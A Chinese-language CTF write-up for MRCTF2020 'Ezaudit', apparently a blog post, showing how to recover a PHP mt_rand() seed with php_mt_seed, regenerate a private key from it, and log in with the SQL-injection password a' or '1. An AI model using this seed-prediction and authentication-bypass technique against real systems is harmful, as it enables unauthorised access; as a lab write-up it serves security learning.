[MRCTF2020]Ezaudit

# [MRCTF2020]Ezaudit

0x01前言

  • 伪随机数

  • 万能密码

  • www.zip备份源码

0x02知识补充

mt_rand()生成的随机数是可以预测的,只要找到种子。

找种子工具php_mt_seed-4.0.tar.gz

先把加密后的值转化成工具能利用的值

脚本:

# -*- coding: utf-8 -*-
s = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
key = 'KVQP0LdJKRaV3n9D'
m = ''
for i in key:
    for j in range(len(s)):
        if i == s[j]:
            m += "{} {} 0 {} ".format(j,j,len(s)-1)
print(m)

工具使用:

  1. 进入目录

  2. make

  3. chmod 777 xxxx

  4. time ./php_mt_seed xxxx

QQ截图20211001195329

QQ截图20211001195728

<?php
mt_srand(1775196155);
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  echo public_key() . "1111111111111111";
  echo private_key();
?>

0x03解题

用户名随便输入

密码a' or '1

私钥:脚本输出值

posted @ 2021-10-03 16:32  步行街  阅读(94)  评论(0)    收藏  举报